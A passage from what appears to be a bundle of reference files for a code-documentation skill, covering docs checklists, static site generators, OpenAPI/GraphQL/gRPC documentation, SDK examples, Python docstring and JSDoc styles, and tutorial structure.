[ ] Detected framework for API docs\n\n### Functions/Methods\n- [ ] All public functions documented\n- [ ] Parameters described with types\n- [ ] Return values documented\n- [ ] Exceptions/errors documented\n- [ ] Examples added for complex functions\n\n### Classes\n- [ ] Class purpose described\n- [ ] Constructor parameters documented\n- [ ] Public methods documented\n- [ ] Important attributes explained\n\n### API Endpoints\n- [ ] All endpoints have summaries\n- [ ] Request bodies documented\n- [ ] Response schemas defined\n- [ ] Error responses documented\n- [ ] Authentication requirements noted\n\n### Final Checks\n- [ ] Ran documentation linter\n- [ ] Verified Swagger UI renders correctly\n- [ ] No inaccurate documentation\n- [ ] Coverage report generated\n````\n\n## Framework-Specific Linting\n\n```bash\n# JavaScript/TypeScript - ESLint\nnpm install eslint-plugin-jsdoc --save-dev\n# Add to .eslintrc: \"plugins\": [\"jsdoc\"]\n\n# Python - pydocstyle\npip install pydocstyle\npydocstyle --convention=google src/\n\n# Python - interrogate (coverage)\npip install interrogate\ninterrogate -v src/\n```\n\n## Quick Reference\n\n| Metric                | Good | Acceptable | Poor  |\n| --------------------- | ---- | ---------- | ----- |\n| Function coverage     | >90% | 70-90%     | <70%  |\n| Class coverage        | 100% | >90%       | <90%  |\n| API endpoint coverage | 100% | 100%       | <100% |\n| Example coverage      | >50% | 30-50%     | <30%  |\n","skills/code-documenter/references/documentation-systems.md":"# Documentation Systems & Infrastructure\n\n## Static Site Generators\n\n### Docusaurus (Meta)\n\n```bash\n# Setup\nnpx create-docusaurus@latest docs classic\ncd docs && npm start\n\n# Structure\ndocs/\n├── docs/           # Documentation pages\n├── blog/           # Blog posts\n├── src/\n│   └── pages/      # Custom pages\n└── docusaurus.config.js\n```\n\n**docusaurus.config.js:**\n\n```javascript\nmodule.exports = {\n  title: \"My API\",\n  tagline: \"Build amazing things\",\n  url: \"https://docs.example.com\",\n  baseUrl: \"/\",\n\n  themeConfig: {\n    navbar: {\n      items: [\n        { to: \"/docs/intro\", label: \"Docs\", position: \"left\" },\n        { to: \"/api\", label: \"API\", position: \"left\" },\n      ],\n    },\n\n    // Algolia search\n    algolia: {\n      apiKey: \"YOUR_API_KEY\",\n      indexName: \"your_index\",\n      contextualSearch: true,\n    },\n\n    prism: {\n      theme: lightCodeTheme,\n      darkTheme: darkCodeTheme,\n      additionalLanguages: [\"python\", \"rust\"],\n    },\n  },\n}\n```\n\n### MkDocs (Python)\n\n```yaml\n# mkdocs.yml\nsite_name: My API Documentation\ntheme:\n  name: material\n  features:\n    - navigation.tabs\n    - navigation.sections\n    - toc.integrate\n    - search.suggest\n    - search.highlight\n  palette:\n    - scheme: default\n      toggle:\n        icon: material/brightness-7\n        name: Switch to dark mode\n    - scheme: slate\n      toggle:\n        icon: material/brightness-4\n        name: Switch to light mode\n\nplugins:\n  - search\n  - mkdocstrings:\n      handlers:\n        python:\n          options:\n            show_source: true\n  - git-revision-date-localized\n\nmarkdown_extensions:\n  - pymdownx.highlight\n  - pymdownx.superfences\n  - admonition\n  - codehilite\n\nnav:\n  - Home: index.md\n  - Getting Started: getting-started.md\n  - API Reference: api/\n```\n\n### VitePress (Vue)\n\n```typescript\n// .vitepress/config.ts\nexport default defineConfig({\n  title: \"API Docs\",\n  description: \"Developer documentation\",\n\n  themeConfig: {\n    nav: [\n      { text: \"Guide\", link: \"/guide/\" },\n      { text: \"API\", link: \"/api/\" },\n    ],\n\n    sidebar: {\n      \"/guide/\": [\n        {\n          text: \"Introduction\",\n          items: [\n            { text: \"Getting Started\", link: \"/guide/getting-started\" },\n            { text: \"Configuration\", link: \"/guide/config\" },\n          ],\n        },\n      ],\n    },\n\n    search: {\n      provider: \"local\",\n    },\n\n    editLink: {\n      pattern: \"https://github.com/user/repo/edit/main/docs/:path\",\n    },\n  },\n})\n```\n\n## Multi-Version Documentation\n\n### Version Switcher\n\n```javascript\n// Docusaurus versions\n{\n  versions: {\n    current: {\n      label: '2.0 (Next)',\n      path: 'next',\n    },\n  },\n  onlyIncludeVersions: ['current', '1.5', '1.4'],\n}\n```\n\n### Migration Guides\n\n````markdown\n# Migration Guide: v1 to v2\n\n## Breaking Changes\n\n### Authentication\n\n**v1:**\n\n```python\nclient.authenticate(api_key)\n```\n````\n\n**v2:**\n\n```python\nclient = Client(api_key=api_key)  # Pass in constructor\n```\n\n### Renamed Methods\n\n| v1              | v2              | Notes           |\n| --------------- | --------------- | --------------- |\n| `get_user()`    | `fetch_user()`  | Async now       |\n| `delete_user()` | `remove_user()` | Returns Promise |\n\n## Deprecation Timeline\n\n- v1.x: Supported until Dec 2025\n- v2.0: Released Jan 2025\n- v2.1: Current (June 2025)\n\n````\n\n## Search Implementation\n\n### Algolia DocSearch\n\n```html\n<!-- Add to theme -->\n<link rel=\"stylesheet\" href=\"https://cdn.jsdelivr.net/npm/@docsearch/css@3\" />\n\n<script src=\"https://cdn.jsdelivr.net/npm/@docsearch/js@3\"></script>\n<script>\n  docsearch({\n    appId: 'YOUR_APP_ID',\n    apiKey: 'YOUR_API_KEY',\n    indexName: 'your_index',\n    container: '#docsearch',\n  });\n</script>\n````\n\n### Local Search (Lunr.js)\n\n```javascript\nconst idx = lunr(function () {\n  this.ref(\"id\")\n  this.field(\"title\", { boost: 10 })\n  this.field(\"content\")\n\n  documents.forEach((doc) => this.add(doc))\n})\n\n// Search\nconst results = idx.search(\"authentication\")\n```\n\n## Documentation Testing\n\n### Link Checking\n\n```bash\n# linkcheck (Python)\npip install linkchecker\nlinkchecker http://localhost:3000/docs\n\n# broken-link-checker (Node)\nnpm install -g broken-link-checker\nblc http://localhost:3000 -ro\n```\n\n### Code Example Testing\n\n```python\n# doctest for Python examples\n\"\"\"\n>>> add(2, 3)\n5\n>>> add(-1, 1)\n0\n\"\"\"\n\n# Run tests\npython -m doctest -v docs/*.md\n```\n\n```javascript\n// Jest for TypeScript examples\n// Extract code blocks and test\nimport { runExamples } from \"./test-docs\"\n\ntest(\"API examples work\", async () => {\n  const examples = extractExamples(\"./docs/api.md\")\n  await expect(runExamples(examples)).resolves.toBeTruthy()\n})\n```\n\n## Performance Optimization\n\n### Build Optimization\n\n```javascript\n// Webpack/Vite config\nexport default {\n  build: {\n    rollupOptions: {\n      output: {\n        manualChunks: {\n          vendor: [\"react\", \"react-dom\"],\n        },\n      },\n    },\n  },\n\n  optimizeDeps: {\n    include: [\"prismjs\"],\n  },\n}\n```\n\n### CDN & Caching\n\n```nginx\n# nginx.conf\nlocation /docs {\n  expires 1y;\n  add_header Cache-Control \"public, immutable\";\n}\n\nlocation ~* \\.(html)$ {\n  expires 1h;\n  add_header Cache-Control \"public, must-revalidate\";\n}\n```\n\n## Analytics Integration\n\n### Google Analytics\n\n```javascript\n// Docusaurus\ngtag: {\n  trackingID: 'G-XXXXXXXXXX',\n  anonymizeIP: true,\n},\n```\n\n### Custom Analytics\n\n```javascript\n// Track search queries\nfunction trackSearch(query, results) {\n  analytics.track(\"docs_search\", {\n    query,\n    resultCount: results.length,\n    timestamp: new Date(),\n  })\n}\n```\n\n## Quick Reference\n\n| Tool       | Best For                      | Tech Stack     |\n| ---------- | ----------------------------- | -------------- |\n| Docusaurus | React projects, versioning    | React, MDX     |\n| MkDocs     | Python projects, simple setup | Python, Jinja2 |\n| VitePress  | Vue projects, fast builds     | Vue, Vite      |\n| Nextra     | Next.js integration           | React, Next.js |\n| Mintlify   | Modern UI, AI search          | React          |\n\n| Search Solution   | Cost             | Features            |\n| ----------------- | ---------------- | ------------------- |\n| Algolia DocSearch | Free (OSS)       | Fast, typo-tolerant |\n| Local (Lunr.js)   | Free             | Offline, no server  |\n| Typesense         | Free (self-host) | Privacy-focused     |\n| Meilisearch       | Free (self-host) | Fast, relevance     |\n","skills/code-documenter/references/interactive-api-docs.md":"# Interactive API Documentation\n\n## OpenAPI 3.1 Advanced Features\n\n### Reusable Components\n\n```yaml\nopenapi: 3.1.0\ninfo:\n  title: Users API\n  version: 2.0.0\n\ncomponents:\n  # Reusable schemas\n  schemas:\n    User:\n      type: object\n      required: [id, email]\n      properties:\n        id:\n          type: string\n          format: uuid\n          example: \"123e4567-e89b-12d3-a456-426614174000\"\n        email:\n          type: string\n          format: email\n          example: \"user@example.com\"\n\n    Error:\n      type: object\n      properties:\n        code:\n          type: string\n        message:\n          type: string\n        details:\n          type: object\n\n    PaginatedResponse:\n      type: object\n      properties:\n        data:\n          type: array\n          items: {}\n        total:\n          type: integer\n        page:\n          type: integer\n\n  # Reusable parameters\n  parameters:\n    PageParam:\n      name: page\n      in: query\n      schema:\n        type: integer\n        default: 1\n        minimum: 1\n\n    LimitParam:\n      name: limit\n      in: query\n      schema:\n        type: integer\n        default: 20\n        minimum: 1\n        maximum: 100\n\n  # Security schemes\n  securitySchemes:\n    BearerAuth:\n      type: http\n      scheme: bearer\n      bearerFormat: JWT\n\n    ApiKeyAuth:\n      type: apiKey\n      in: header\n      name: X-API-Key\n\n    OAuth2:\n      type: oauth2\n      flows:\n        authorizationCode:\n          authorizationUrl: https://api.example.com/oauth/authorize\n          tokenUrl: https://api.example.com/oauth/token\n          scopes:\n            read:users: Read user data\n            write:users: Modify user data\n\n  # Reusable responses\n  responses:\n    NotFound:\n      description: Resource not found\n      content:\n        application/json:\n          schema:\n            $ref: \"#/components/schemas/Error\"\n\n    Unauthorized:\n      description: Authentication required\n      content:\n        application/json:\n          schema:\n            $ref: \"#/components/schemas/Error\"\n\npaths:\n  /users:\n    get:\n      summary: List users\n      parameters:\n        - $ref: \"#/components/parameters/PageParam\"\n        - $ref: \"#/components/parameters/LimitParam\"\n      security:\n        - BearerAuth: []\n      responses:\n        \"200\":\n          description: Success\n          content:\n            application/json:\n              schema:\n                allOf:\n                  - $ref: \"#/components/schemas/PaginatedResponse\"\n                  - type: object\n                    properties:\n                      data:\n                        type: array\n                        items:\n                          $ref: \"#/components/schemas/User\"\n```\n\n## Interactive Documentation Portals\n\n### Swagger UI Customization\n\n```javascript\n// Custom Swagger UI\nconst swaggerUi = require(\"swagger-ui-express\")\nconst swaggerDocument = require(\"./openapi.json\")\n\nconst options = {\n  customCss: \".swagger-ui .topbar { display: none }\",\n  customSiteTitle: \"API Docs\",\n  customfavIcon: \"/favicon.ico\",\n  swaggerOptions: {\n    persistAuthorization: true,\n    displayRequestDuration: true,\n    filter: true,\n    tryItOutEnabled: true,\n    requestInterceptor: (req) => {\n      req.headers[\"X-Custom-Header\"] = \"value\"\n      return req\n    },\n  },\n}\n\napp.use(\"/api-docs\", swaggerUi.serve, swaggerUi.setup(swaggerDocument, options))\n```\n\n### Redoc (Modern Alternative)\n\n```html\n<!DOCTYPE html>\n<html>\n  <head>\n    <title>API Documentation</title>\n    <link\n      href=\"https://fonts.googleapis.com/css?family=Montserrat:300,400,700|Roboto:300,400,700\"\n      rel=\"stylesheet\"\n    />\n  </head>\n  <body>\n    <redoc\n      spec-url=\"./openapi.yaml\"\n      hide-download-button\n      required-props-first\n      native-scrollbars\n      theme='{\n      \"colors\": {\n        \"primary\": {\n          \"main\": \"#4285F4\"\n        }\n      },\n      \"typography\": {\n        \"fontSize\": \"16px\",\n        \"fontFamily\": \"Roboto, sans-serif\"\n      }\n    }'\n    >\n    </redoc>\n    <script src=\"https://cdn.redoc.ly/redoc/latest/bundles/redoc.standalone.js\"></script>\n  </body>\n</html>\n```\n\n### Stoplight Elements\n\n```javascript\nimport { API } from \"@stoplight/elements\"\nimport \"@stoplight/elements/styles.min.css\"\n\nfunction App() {\n  return (\n    <API\n      apiDescriptionUrl=\"./openapi.yaml\"\n      router=\"hash\"\n      layout=\"sidebar\"\n      tryItCredentialsPolicy=\"include\"\n    />\n  )\n}\n```\n\n## Multi-Protocol Documentation\n\n### GraphQL Schema Documentation\n\n```graphql\n\"\"\"\nUser account in the system\n\"\"\"\ntype User {\n  \"\"\"\n  Unique user identifier\n  \"\"\"\n  id: ID!\n\n  \"\"\"\n  User's email address (unique)\n  @example \"user@example.com\"\n  \"\"\"\n  email: String!\n\n  \"\"\"\n  Display name\n  @example \"John Doe\"\n  \"\"\"\n  name: String!\n\n  \"\"\"\n  User's posts (paginated)\n  \"\"\"\n  posts(\n    \"\"\"\n    Number of items per page (max 100)\n    \"\"\"\n    limit: Int = 20\n    \"\"\"\n    Page offset\n    \"\"\"\n    offset: Int = 0\n  ): PostConnection!\n}\n\ntype Query {\n  \"\"\"\n  Fetch a user by ID\n  \"\"\"\n  user(\n    \"\"\"\n    User's unique identifier\n    \"\"\"\n    id: ID!\n  ): User\n\n  \"\"\"\n  Search users by name or email\n  \"\"\"\n  searchUsers(\n    \"\"\"\n    Search query\n    \"\"\"\n    query: String!\n    \"\"\"\n    Maximum results to return\n    \"\"\"\n    limit: Int = 10\n  ): [User!]!\n}\n\ntype Mutation {\n  \"\"\"\n  Create a new user account\n  \"\"\"\n  createUser(\n    \"\"\"\n    User creation input\n    \"\"\"\n    input: CreateUserInput!\n  ): CreateUserPayload!\n}\n\n\"\"\"\nInput for creating a user\n\"\"\"\ninput CreateUserInput {\n  \"\"\"\n  User's email address\n  \"\"\"\n  email: String!\n  \"\"\"\n  Display name\n  \"\"\"\n  name: String!\n}\n```\n\n**GraphQL Playground:**\n\n```javascript\nconst { ApolloServer } = require(\"apollo-server\")\n\nconst server = new ApolloServer({\n  typeDefs,\n  resolvers,\n  introspection: true, // Enable in dev\n  playground: {\n    settings: {\n      \"editor.theme\": \"dark\",\n      \"editor.fontSize\": 14,\n    },\n  },\n})\n```\n\n### WebSocket Protocol Documentation\n\n```yaml\n# AsyncAPI 2.0\nasyncapi: 2.5.0\ninfo:\n  title: Chat WebSocket API\n  version: 1.0.0\n  description: Real-time chat messaging\n\nchannels:\n  chat/{roomId}:\n    parameters:\n      roomId:\n        description: Chat room identifier\n        schema:\n          type: string\n\n    subscribe:\n      summary: Receive messages\n      message:\n        oneOf:\n          - $ref: \"#/components/messages/ChatMessage\"\n          - $ref: \"#/components/messages/UserJoined\"\n\n    publish:\n      summary: Send a message\n      message:\n        $ref: \"#/components/messages/ChatMessage\"\n\ncomponents:\n  messages:\n    ChatMessage:\n      name: message\n      payload:\n        type: object\n        properties:\n          userId:\n            type: string\n          content:\n            type: string\n          timestamp:\n            type: string\n            format: date-time\n\n    UserJoined:\n      name: userJoined\n      payload:\n        type: object\n        properties:\n          userId:\n            type: string\n          username:\n            type: string\n```\n\n### gRPC Documentation\n\n```protobuf\nsyntax = \"proto3\";\n\npackage users.v1;\n\n// User service manages user accounts\nservice UserService {\n  // Get a user by ID\n  // Returns: User object or NOT_FOUND error\n  rpc GetUser(GetUserRequest) returns (User) {}\n\n  // List all users with pagination\n  // Returns: Paginated list of users\n  rpc ListUsers(ListUsersRequest) returns (ListUsersResponse) {}\n\n  // Create a new user\n  // Returns: Created user or ALREADY_EXISTS error\n  rpc CreateUser(CreateUserRequest) returns (User) {}\n\n  // Stream user updates in real-time\n  // Returns: Stream of user update events\n  rpc WatchUsers(WatchUsersRequest) returns (stream UserEvent) {}\n}\n\n// User account\nmessage User {\n  // Unique identifier\n  string id = 1;\n\n  // Email address (unique, required)\n  string email = 2;\n\n  // Display name\n  string name = 3;\n\n  // Account creation timestamp\n  google.protobuf.Timestamp created_at = 4;\n}\n```\n\n## SDK Documentation Strategies\n\n### Multi-Language Examples\n\n````markdown\n# Create User\n\n## Python\n\n```python\nfrom myapi import Client\n\nclient = Client(api_key=\"your_key\")\nuser = client.users.create(\n    name=\"John Doe\",\n    email=\"john@example.com\"\n)\nprint(user.id)\n```\n````\n\n## TypeScript\n\n```typescript\nimport { Client } from \"@myapi/sdk\"\n\nconst client = new Client({ apiKey: \"your_key\" })\nconst user = await client.users.create({\n  name: \"John Doe\",\n  email: \"john@example.com\",\n})\nconsole.log(user.id)\n```\n\n## Go\n\n```go\nimport \"github.com/myapi/sdk-go\"\n\nclient := sdk.NewClient(\"your_key\")\nuser, err := client.Users.Create(ctx, &sdk.CreateUserInput{\n    Name:  \"John Doe\",\n    Email: \"john@example.com\",\n})\nif err != nil {\n    log.Fatal(err)\n}\nfmt.Println(user.ID)\n```\n\n## Ruby\n\n```ruby\nrequire 'myapi'\n\nclient = MyAPI::Client.new(api_key: 'your_key')\nuser = client.users.create(\n  name: 'John Doe',\n  email: 'john@example.com'\n)\nputs user.id\n```\n\n````\n\n### SDK Reference Template\n\n```markdown\n# Users SDK\n\n## Installation\n```bash\nnpm install @myapi/sdk\n````\n\n## Configuration\n\n```typescript\nimport { Client } from \"@myapi/sdk\"\n\nconst client = new Client({\n  apiKey: process.env.API_KEY,\n  baseUrl: \"https://api.example.com\", // Optional\n  timeout: 30000, // Optional, default 30s\n})\n```\n\n## Methods\n\n### `client.users.create(data)`\n\nCreate a new user.\n\n**Parameters:**\n\n- `data.name` (string, required) - User's display name\n- `data.email` (string, required) - User's email address\n\n**Returns:** Promise<User>\n\n**Throws:**\n\n- `ValidationError` - Invalid input data\n- `ConflictError` - Email already exists\n- `AuthenticationError` - Invalid API key\n\n**Example:**\n\n```typescript\nconst user = await client.users.create({\n  name: \"John Doe\",\n  email: \"john@example.com\",\n})\n```\n\n## Error Handling\n\n```typescript\nimport { ValidationError, ConflictError } from \"@myapi/sdk\"\n\ntry {\n  await client.users.create(data)\n} catch (error) {\n  if (error instanceof ValidationError) {\n    console.error(\"Invalid data:\", error.fields)\n  } else if (error instanceof ConflictError) {\n    console.error(\"User already exists\")\n  }\n}\n```\n\n```\n\n## Quick Reference\n\n| Tool | Protocol | Features |\n|------|----------|----------|\n| Swagger UI | REST | Try-it-out, auth |\n| Redoc | REST | Clean, responsive |\n| Stoplight | REST | Modern, mock server |\n| GraphQL Playground | GraphQL | Explorer, history |\n| AsyncAPI Studio | WebSocket | Visual editor |\n| grpcui | gRPC | Interactive console |\n```\n","skills/code-documenter/references/python-docstrings.md":"# Python Docstrings\n\n## Google Style (Recommended)\n\n```python\ndef calculate_total(items: list[Item], tax_rate: float = 0.0) -> float:\n    \"\"\"Calculate total cost including tax.\n\n    Args:\n        items: List of items to calculate total for.\n        tax_rate: Tax rate as decimal (e.g., 0.08 for 8%).\n\n    Returns:\n        Total cost including tax.\n\n    Raises:\n        ValueError: If tax_rate is negative or items is empty.\n\n    Example:\n        >>> calculate_total([Item(10), Item(20)], 0.1)\n        33.0\n    \"\"\"\n```\n\n## NumPy Style\n\n```python\ndef calculate_total(items: list[Item], tax_rate: float = 0.0) -> float:\n    \"\"\"\n    Calculate total cost including tax.\n\n    Parameters\n    ----------\n    items : list[Item]\n        List of items to calculate total for.\n    tax_rate : float, optional\n        Tax rate as decimal (e.g., 0.08 for 8%). Default is 0.0.\n\n    Returns\n    -------\n    float\n        Total cost including tax.\n\n    Raises\n    ------\n    ValueError\n        If tax_rate is negative or items is empty.\n\n    Examples\n    --------\n    >>> calculate_total([Item(10), Item(20)], 0.1)\n    33.0\n    \"\"\"\n```\n\n## Sphinx Style\n\n```python\ndef calculate_total(items: list[Item], tax_rate: float = 0.0) -> float:\n    \"\"\"Calculate total cost including tax.\n\n    :param items: List of items to calculate total for.\n    :type items: list[Item]\n    :param tax_rate: Tax rate as decimal (e.g., 0.08 for 8%).\n    :type tax_rate: float\n    :returns: Total cost including tax.\n    :rtype: float\n    :raises ValueError: If tax_rate is negative or items is empty.\n\n    .. code-block:: python\n\n        >>> calculate_total([Item(10), Item(20)], 0.1)\n        33.0\n    \"\"\"\n```\n\n## Class Documentation\n\n```python\nclass UserService:\n    \"\"\"Service for managing user operations.\n\n    This service handles CRUD operations for users and\n    integrates with the authentication system.\n\n    Attributes:\n        db: Database session for queries.\n        cache: Redis client for caching.\n\n    Example:\n        >>> service = UserService(db, cache)\n        >>> user = await service.create_user(data)\n    \"\"\"\n\n    def __init__(self, db: AsyncSession, cache: Redis) -> None:\n        \"\"\"Initialize UserService.\n\n        Args:\n            db: Database session for queries.\n            cache: Redis client for caching.\n        \"\"\"\n```\n\n## Quick Reference\n\n| Style  | Args Format          | Returns Format    |\n| ------ | -------------------- | ----------------- |\n| Google | `Args:` block        | `Returns:` block  |\n| NumPy  | `Parameters` section | `Returns` section |\n| Sphinx | `:param name:`       | `:returns:`       |\n\n## Sections Available\n\n| Section    | Google        | NumPy        | Sphinx            |\n| ---------- | ------------- | ------------ | ----------------- |\n| Parameters | `Args:`       | `Parameters` | `:param:`         |\n| Returns    | `Returns:`    | `Returns`    | `:returns:`       |\n| Raises     | `Raises:`     | `Raises`     | `:raises:`        |\n| Examples   | `Example:`    | `Examples`   | `.. code-block::` |\n| Notes      | `Note:`       | `Notes`      | `.. note::`       |\n| Attributes | `Attributes:` | `Attributes` | `:ivar:`          |\n","skills/code-documenter/references/typescript-jsdoc.md":"# TypeScript JSDoc\n\n## Function Documentation\n\n````typescript\n/**\n * Calculate total cost including tax.\n *\n * @param items - List of items to calculate total for\n * @param taxRate - Tax rate as decimal (e.g., 0.08 for 8%)\n * @returns Total cost including tax\n * @throws {Error} If taxRate is negative or items is empty\n *\n * @example\n * ```typescript\n * const total = calculateTotal(items, 0.08);\n * console.log(total); // 108.00\n * ```\n */\nfunction calculateTotal(items: Item[], taxRate = 0): number {\n````\n\n## Class Documentation\n\n````typescript\n/**\n * Service for managing user operations.\n *\n * Handles CRUD operations and integrates with authentication system.\n *\n * @example\n * ```typescript\n * const service = new UserService(db, cache);\n * const user = await service.create(userData);\n * ```\n */\nclass UserService {\n  /**\n   * Create a new UserService instance.\n   *\n   * @param db - Database connection\n   * @param cache - Redis cache client\n   */\n  constructor(\n    private readonly db: Database,\n    private readonly cache: Cache\n  ) {}\n}\n````\n\n## Interface Documentation\n\n```typescript\n/**\n * User data transfer object.\n *\n * @interface UserDto\n */\ninterface UserDto {\n  /** Unique user identifier */\n  id: string\n\n  /** User's email address (unique) */\n  email: string\n\n  /** User's display name */\n  name: string\n\n  /** Account creation timestamp */\n  createdAt: Date\n}\n```\n\n## Generic Types\n\n```typescript\n/**\n * Paginated response wrapper.\n *\n * @template T - Type of items in the data array\n */\ninterface PaginatedResponse<T> {\n  /** Array of items for current page */\n  data: T[]\n\n  /** Total number of items across all pages */\n  total: number\n\n  /** Current page number (1-indexed) */\n  page: number\n\n  /** Number of items per page */\n  limit: number\n}\n```\n\n## Async Functions\n\n```typescript\n/**\n * Fetch user by ID from database.\n *\n * @param id - User's unique identifier\n * @returns Promise resolving to user data or null if not found\n * @throws {DatabaseError} If connection fails\n *\n * @async\n */\nasync function findUserById(id: string): Promise<User | null> {\n```\n\n## Quick Reference\n\n| Tag           | Purpose               | Example                      |\n| ------------- | --------------------- | ---------------------------- |\n| `@param`      | Parameter description | `@param name - User's name`  |\n| `@returns`    | Return value          | `@returns User object`       |\n| `@throws`     | Exception thrown      | `@throws {Error} If invalid` |\n| `@example`    | Usage example         | Code block                   |\n| `@see`        | Reference link        | `@see UserService`           |\n| `@deprecated` | Mark deprecated       | `@deprecated Use v2 instead` |\n| `@template`   | Generic type param    | `@template T - Item type`    |\n| `@async`      | Async function        | Mark async                   |\n| `@private`    | Private member        | Internal use                 |\n| `@readonly`   | Read-only property    | Cannot modify                |\n\n## Common Patterns\n\n```typescript\n// Optional parameters\n/** @param [options] - Optional configuration */\n\n// Default values\n/** @param [limit=10] - Items per page (default: 10) */\n\n// Multiple types\n/** @param input - Input value (string or number) */\n\n// Callback parameters\n/**\n * @callback FilterFn\n * @param item - Item to filter\n * @returns Whether item passes filter\n */\n```\n","skills/code-documenter/references/user-guides-tutorials.md":"# User Guides & Tutorials\n\n## Tutorial Structure\n\n### Progressive Learning Path\n\n````markdown\n# Getting Started with API\n\n## Prerequisites\n\nBefore you begin, ensure you have:\n\n- [ ] Node.js 18+ installed\n- [ ] An API key from your dashboard\n- [ ] Basic knowledge of REST APIs\n\n## Quick Start (5 minutes)\n\n### 1. Install the SDK\n\n```bash\nnpm install @myapi/sdk\n```\n````\n\n### 2. Create Your First Request\n\n```typescript\nimport { Client } from \"@myapi/sdk\"\n\nconst client = new Client({ apiKey: \"your_key\" })\nconst users = await client.users.list()\nconsole.log(users)\n```\n\n### 3. Verify It Works\n\nRun the code and you should see a list of users.\n\n**Expected output:**\n\n```json\n{\n  \"data\": [\n    { \"id\": \"1\", \"name\": \"Alice\" },\n    { \"id\": \"2\", \"name\": \"Bob\" }\n  ],\n  \"total\": 2\n}\n```\n\n## Next Steps\n\n- [Authentication Guide](/docs/auth) - Learn about OAuth and API keys\n- [Advanced Queries](/docs/queries) - Filtering, sorting, pagination\n- [Error Handling](/docs/errors) - Handle errors gracefully\n\n````\n\n### Step-by-Step Tutorial\n\n```markdown\n# Tutorial: Building a User Dashboard\n\n**What you'll learn:**\n- Fetching user data from the API\n- Handling pagination\n- Displaying data in a table\n- Adding real-time updates\n\n**Time:** 30 minutes\n**Level:** Intermediate\n\n## Step 1: Set Up the Project\n\nCreate a new project:\n```bash\nmkdir user-dashboard\ncd user-dashboard\nnpm init -y\nnpm install @myapi/sdk react\n````\n\n## Step 2: Fetch Users\n\nCreate `src/api/users.ts`:\n\n```typescript\nimport { Client } from \"@myapi/sdk\"\n\nconst client = new Client({ apiKey: process.env.API_KEY })\n\nexport async function getUsers(page = 1, limit = 20) {\n  const response = await client.users.list({ page, limit })\n  return response\n}\n```\n\n**What's happening:**\n\n1. We import the SDK client\n2. Initialize it with our API key from environment\n3. Create a helper function that fetches paginated users\n\n## Step 3: Create the Component\n\nCreate `src/components/UserTable.tsx`:\n\n```typescript\nimport { useState, useEffect } from 'react';\nimport { getUsers } from '../api/users';\n\nexport function UserTable() {\n  const [users, setUsers] = useState([]);\n  const [loading, setLoading] = useState(true);\n\n  useEffect(() => {\n    async function fetchData() {\n      const data = await getUsers();\n      setUsers(data.data);\n      setLoading(false);\n    }\n    fetchData();\n  }, []);\n\n  if (loading) return <div>Loading...</div>;\n\n  return (\n    <table>\n      <thead>\n        <tr>\n          <th>Name</th>\n          <th>Email</th>\n        </tr>\n      </thead>\n      <tbody>\n        {users.map(user => (\n          <tr key={user.id}>\n            <td>{user.name}</td>\n            <td>{user.email}</td>\n          </tr>\n        ))}\n      </tbody>\n    </table>\n  );\n}\n```\n\n## Step 4: Test It\n\nRun your app:\n\n```bash\nnpm run dev\n```\n\nYou should see a table with user data.\n\n## Checkpoint\n\nAt this point, you have:\n\n- [x] Set up the SDK\n- [x] Created an API helper\n- [x] Built a user table component\n- [ ] Added pagination\n- [ ] Added real-time updates\n\n## Next: Adding Pagination\n\n[Continue to Step 5 →](/docs/tutorial/step-5)\n\n````\n\n## Information Architecture\n\n### Content Hierarchy\n\n```markdown\nDocumentation/\n├── Getting Started/\n│   ├── Quick Start (5 min)\n│   ├── Installation\n│   ├── Authentication\n│   └── First Request\n│\n├── Guides/\n│   ├── User Management\n│   ├── File Uploads\n│   ├── Webhooks\n│   └── Rate Limiting\n│\n├── API Reference/\n│   ├── Users API\n│   ├── Files API\n│   └── Webhooks API\n│\n├── SDK Documentation/\n│   ├── Python SDK\n│   ├── TypeScript SDK\n│   └── Go SDK\n│\n├── Tutorials/\n│   ├── Build a Dashboard (30 min)\n│   ├── Integrate Authentication (45 min)\n│   └── Real-time Sync (60 min)\n│\n└── Resources/\n    ├── Troubleshooting\n    ├── FAQ\n    ├── Best Practices\n    └── Migration Guides\n````\n\n## Writing Techniques\n\n### Task-Based Writing\n\n````markdown\n# How to Upload a File\n\n**Goal:** Upload an image file to your account storage\n\n**Time:** 5 minutes\n\n## Steps\n\n### 1. Prepare the file\n\nGet the file from user input or file system:\n\n```typescript\nconst file = document.querySelector('input[type=\"file\"]').files[0]\n```\n````\n\n### 2. Create form data\n\n```typescript\nconst formData = new FormData()\nformData.append(\"file\", file)\nformData.append(\"folder\", \"avatars\")\n```\n\n### 3. Upload with the SDK\n\n```typescript\nconst result = await client.files.upload(formData)\nconsole.log(\"File URL:\", result.url)\n```\n\n## Common Issues\n\n**\"File too large\" error:**\nMaximum file size is 10MB. Compress images before uploading.\n\n**\"Invalid file type\" error:**\nOnly .jpg, .png, .gif are allowed. Check the file extension.\n\n## Related\n\n- [File API Reference](/api/files)\n- [Handling Upload Progress](/guides/upload-progress)\n\n````\n\n### Progressive Disclosure\n\n```markdown\n# Authentication\n\n## Basic: API Keys (Recommended for Getting Started)\n\nAPI keys are the simplest way to authenticate.\n\n```typescript\nconst client = new Client({ apiKey: 'your_key' });\n````\n\n**When to use:** Scripts, internal tools, testing\n\n[Generate an API key →](/dashboard/api-keys)\n\n<details>\n<summary>Advanced: OAuth 2.0</summary>\n\nFor user-facing applications, use OAuth 2.0.\n\n### Authorization Code Flow\n\n1. Redirect user to authorization URL:\n\n```typescript\nconst authUrl = client.oauth.getAuthUrl({\n  redirectUri: \"https://yourapp.com/callback\",\n  scopes: [\"read:users\", \"write:users\"],\n})\nwindow.location.href = authUrl\n```\n\n2. Handle the callback:\n\n```typescript\nconst code = new URLSearchParams(window.location.search).get(\"code\")\nconst tokens = await client.oauth.exchangeCode(code)\n```\n\n3. Use the access token:\n\n```typescript\nconst client = new Client({ accessToken: tokens.access_token })\n```\n\n[Full OAuth guide →](/guides/oauth)\n\n</details>\n\n<details>\n<summary>Enterprise: JWT Tokens</summary>\n\nFor service-to-service authentication, use JWTs.\n\n```typescript\nconst jwt = createJWT({\n  issuer: \"your-service\",\n  subject: \"service-account-id\",\n  privateKey: process.env.PRIVATE_KEY,\n})\n\nconst client = new Client({ jwt })\n```\n\n[JWT setup guide →](/guides/jwt)\n\n</details>\n```\n\n## Visual Communication\n\n### Diagram Integration\n\n````markdown\n# System Architecture\n\n## Request Flow\n\n```mermaid\nsequenceDiagram\n    participant Client\n    participant API\n    participant Database\n    participant Cache\n\n    Client->>API: POST /users\n    API->>Cache: Check cache\n    Cache-->>API: Cache miss\n    API->>Database: Insert user\n    Database-->>API: User created\n    API->>Cache: Store user\n    